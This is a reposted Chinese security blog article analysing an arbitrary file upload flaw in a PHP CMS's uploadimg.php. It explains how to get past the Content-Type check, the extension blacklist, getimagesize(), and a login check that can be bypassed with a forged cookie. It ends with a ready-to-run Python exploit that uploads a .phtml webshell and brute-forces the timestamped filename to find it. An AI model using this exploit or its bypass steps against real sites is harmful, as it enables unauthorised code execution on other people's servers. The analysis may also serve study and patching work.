问题出在\uploadimg.php 这是upload类中部分代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
class upload{ //上传文件类型列表 private $uptypes = array ('image/jpg','image/jpeg','image/pjpeg','image/gif','image/png','image/x-png','image/bmp','application/x-shockwave-flash'); //只要不设定这种类型,php类的文件就无法上传'application/octet-stream' private $max_file_size = maximgsize; //上传文件大小限制, 单位k public $fileName; //文件名称 public $fdir ;//上传文件路径 private $watermark = shuiyin; //是否附加水印(yes为加水印,其他为不加水印); private $waterstring = ''; //水印字符串 private $waterimg=syurl ; //水印图片 png private $watertype = 2; //水印类型(1为文字,2为图片) private $imgpreview=1; //是否生成缩略图(1为生成,其他为不生成); private $sw=120; //缩略图宽度 public $bImg; //大图的全路径 public $sImg; //小图的全路径 public $datu; //大图的命名 function upfile() { //检查文件类型 if (!in_array($this->fileName["type"], $this->uptypes)) {//这种通过在文件头加GIF89A,可骗过 echo "<script>alert('文件类型错误,支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>"; exit; } //检查文件后缀 $hzm=strtolower(substr($this->fileName["name"],strpos($this->fileName["name"],".")));//获取.后面的后缀,如可获取到.php.gif if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false ||strpos($hzm,"jsp")!==false){ echo "<script>alert('".$hzm.",这种文件不允许上传');parent.window.close();</script>"; exit; } //创建文件目录 if (!file_exists($this->fdir)) { mkdir($this->fdir); } //上传文件 $tempName = $this->fileName["tmp_name"]; $fType = pathinfo($this->fileName["name"]); $fType = $fType["extension"]; $newName =$this->fdir.$this->datu; $sImgName =$this->fdir.str_replace('.','_small.',$this->datu); //检查图片属性,不是这几种类型的就不是图片文件,只能上传后才能获取到,代码放到上传前获取不到图片属性,所以放在这里 $data=GetImageSize($newName);//取得GIF、JPEG、PNG或SWF图片属性,返回数组,图形的宽度[0],图形的高度[1],文件类型[2] if($data[2]!=1 && $data[2]!=2 && $data[2]!=3 && $data[2]!=6){//4为swf格式 unlink($newName); echo "<script>alert('经判断上传的文件不是图片文件,已删除。');parent.window.close();</script>"; exit; } 其中12行设置 了Content-Type头的类型: private $uptypes = array ('image/jpg','image/jpeg','image/pjpeg','image/gif','image/png','image/x-png','image/bmp','application/x-shockwave-flash'); //只要不设定这种类型,php类的文件就无法上传'application/octet-stream' |
而我们进行未知扩展名上传的时候Content-Type头是这样的Content-Type:application/octet-stream
下面判断上传类型如果不为数组中的其中一个的话,就无法上传
1 2 3 4 |
if (!in_array($this->fileName["type"], $this->uptypes)) {//这种通过在文件头加GIF89A,可骗过 echo "<script>alert('文件类型错误,支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>"; exit; } |
这是一个很经典的用Content-Type头判断上传类型的案例,绕过方法很简单,拦截包修改Content-Type头为$uptypes的其中一个类型即可
当然,不会这么轻易的就能上传成功,下面还有判断:
1 2 3 4 5 |
$hzm=strtolower(substr($this->fileName["name"],strpos($this->fileName["name"],".")));//获取.后面的后缀,如可获取到.php.gif if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false ||strpos($hzm,"jsp")!==false){ echo "<script>alert('".$hzm.",这种文件不允许上传');parent.window.close();</script>"; exit; } |
用strpos判断后缀是否为php,asp,jsp。
如果是的话,输出文件后缀和这种文件不允许上传。常见的黑名单式判断,绕过方式很简单,只要用一个不在黑名单中的文件后缀,即可绕过。
前两步绕过后,依然是不能上传的。
因为下面存储的时候用GetImageSize()函数检查了图片属性、
1 2 3 4 5 |
$data=GetImageSize($newName);//取得GIF、JPEG、PNG或SWF图片属性,返回数组,图形的宽度[0],图形的高度[1],文件类型[2] if($data[2]!=1 && $data[2]!=2 && $data[2]!=3 && $data[2]!=6){//4为swf格式 unlink($newName); echo "<script>alert('经判断上传的文件不是图片文件,已删除。');parent.window.close();</script>"; exit |
若不为图片,直接删除
使用十六进制编辑器打开一张图片:
其中8950 4E47 0D0A 1A0A 为png图片的文件流的前几个字(头字节)。
php的Getimagesize()函数就是用这几个字节流来判断文件是否为图片的,这个函数本身就是有漏洞的。
用十六进制编辑器修改头字节之后的字节,这样Getimagesize()也会当成图片来解析,即可绕过上传。
具体分析此函数漏洞请看这里:Getimagesize 函数不是完全可靠的
成功上传:
上传成功后不会返回路径,这就比较坑爹了,找到文件命名方法:
1 2 |
$up->fdir='uploadfiles/'.date("Y-m").'/'; //上传的路径 $up->datu=date("YmdHis").rand(100,999).$filetype;//大图的命名 |
把文件上传到uploadfiles目录下以今年的月份为目录名,如:\uploadfiles\2017-6\
文件名是用年月日时分秒+三位随机数来命名,如:20170625091239283.phtml
20170625091239为2017年6月25日9点12分39秒,283为三位随机数。
好吧,这里没有什么优雅的姿势直接获取了,不过三位数的可以直接写个获取上传时间然后爆破后100-999的三位数,在一分钟内可爆破完吧。
上面上传分析完了,再来看看怎么无条件。
1 2 3 4 |
if (!isset($_COOKIE["UserName"]) && !isset($_SESSION["admin"])){ session_write_close(); echo "<script>alert('登录后才能上传');window.close();</script>"; } |
这里判断cookies是为UserName,伪造一个cookie就可以搞定。
随便伪造一个UserName=xxx就能绕过咯。
当然此代码里连exit都没有
如果懒得伪造的话,就禁用js,也能上传成功。
为方便测试,以附送exp
使用方法:filename.py -u http://localhost/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
# -*- coding:utf-8 -*- import requests import threading import time import argparse parser = argparse.ArgumentParser() parser.add_argument("-u") args = parser.parse_args() urls = args.u urlib = urls+'uploadimg.php' def B(url): try: if requests.get(url,timeout=3).status_code == 200: lock.acquire() print u"[+++] shell地址:", url lock.release() except: pass def L(url,filename): print u'[+++] ADMINSS:正在尝试上传shell' try: urls = '%s'%url files = {'g_fu_image[]': ('%s'%filename, open('%s'%filename, 'rb'), 'image/jpg', {'Expires': '0'})} r = requests.post(urls, files=files) fname = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) froot = '/uploadfiles/'+time.strftime('%Y-%m',time.localtime(time.time()))+'/' upfrt = urls+froot+fname shll = upfrt.replace('uploadimg.php/', '') return shll except: bugs = u'[+++]ERROR:文件上传失败' print bugs print '[+++] ADMINSS:'+urls shel = L(urlib,'1.phtml') shell = shel print u'[+++] ADMINSS:上传成功 正在爆破shell地址' lock = threading.Lock() pool = [] for x in xrange(100, 999): pool.append(threading.Thread(target=B, args=(shell+str(x)+'.phtml',))) if len(pool) > 20 or x == 998: for x in pool: x.start() for x in pool: x.join() pool = [] |
注:此文转自http://www.lsafe.org/?p=131 原作者为ADminSS
您必须[登录] 才能发表留言!